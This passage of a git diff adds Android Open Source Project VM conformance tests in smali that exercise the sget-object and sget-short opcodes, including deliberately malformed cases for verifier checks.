+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_13.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_13;->i1:Ljava/lang/Object;
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_14.smali
new file mode 100644
index 0000000..1bba4a9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_14.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_14.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_14;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_14;->i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_15.smali
new file mode 100644
index 0000000..926ef4f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_15.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_15.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_15;->i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_16.smali
new file mode 100644
index 0000000..70a16e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_16.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_16;->i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_17.smali
new file mode 100644
index 0000000..d0bad06
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_17.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_17;->i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_18.smali
new file mode 100644
index 0000000..89b043b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_18.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_18.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_18;->i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_19.smali
new file mode 100644
index 0000000..5fc2015
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_19.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_19.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_19;->i1:D
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_20.smali
new file mode 100644
index 0000000..0d0d77e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_20.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_20;->i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_6.smali
new file mode 100644
index 0000000..ad58f96
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_6.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       sget-object v1, Ldot/junit/opcodes/sget_object/TestStubs;->TestStubField:Ljava/lang/Object;
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_7.smali
new file mode 100644
index 0000000..ee0bffd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_7.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_7no_class;->i1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_8.smali
new file mode 100644
index 0000000..685cdba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_8.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_8;->i1N:Ljava/lang/Object;
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_1.smali
new file mode 100644
index 0000000..190e65d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_1.smali

@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_1.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_1;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+.field protected static p1:S
+.field private static pvt1:S
+
+.method static constructor <clinit>()V
+.registers 1
+       const v0, 32000
+       sput-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->i1:S
+
+       const v0, 32000
+       sput-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->p1:S
+
+       const v0, 32000
+       sput-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->pvt1:S
+
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->i1:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_11.smali
new file mode 100644
index 0000000..723ca6c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_11.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_11;
+.super  Ldot/junit/opcodes/sget_short/d/T_sget_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->p1:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_12.smali
new file mode 100644
index 0000000..f508dab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_12.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_12.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_12;
+.super  Ldot/junit/opcodes/sget_short/d/T_sget_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->pvt1:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_13.smali
new file mode 100644
index 0000000..69b8d0d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_13.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_13;->i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_15.smali
new file mode 100644
index 0000000..0cbcdce
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_15.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_15.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_15;->i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_16.smali
new file mode 100644
index 0000000..bb0b686
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_16.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_16;->i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_17.smali
new file mode 100644
index 0000000..3f93360
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_17.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_17;->i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_18.smali
new file mode 100644
index 0000000..e704e33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_18.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_18.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_18;->i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_19.smali
new file mode 100644
index 0000000..b62b4ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_19.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_19.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_19;->i1:D
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_20.smali
new file mode 100644
index 0000000..7493fd7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_20.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_20;->i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_3.smali
new file mode 100644
index 0000000..426be5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_3.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v3, Ldot/junit/opcodes/sget_short/d/T_sget_short_3;->i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_4.smali
new file mode 100644
index 0000000..d9991bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_4.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_4;->i1:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_5.smali
new file mode 100644
index 0000000..233e577
--- /dev/null
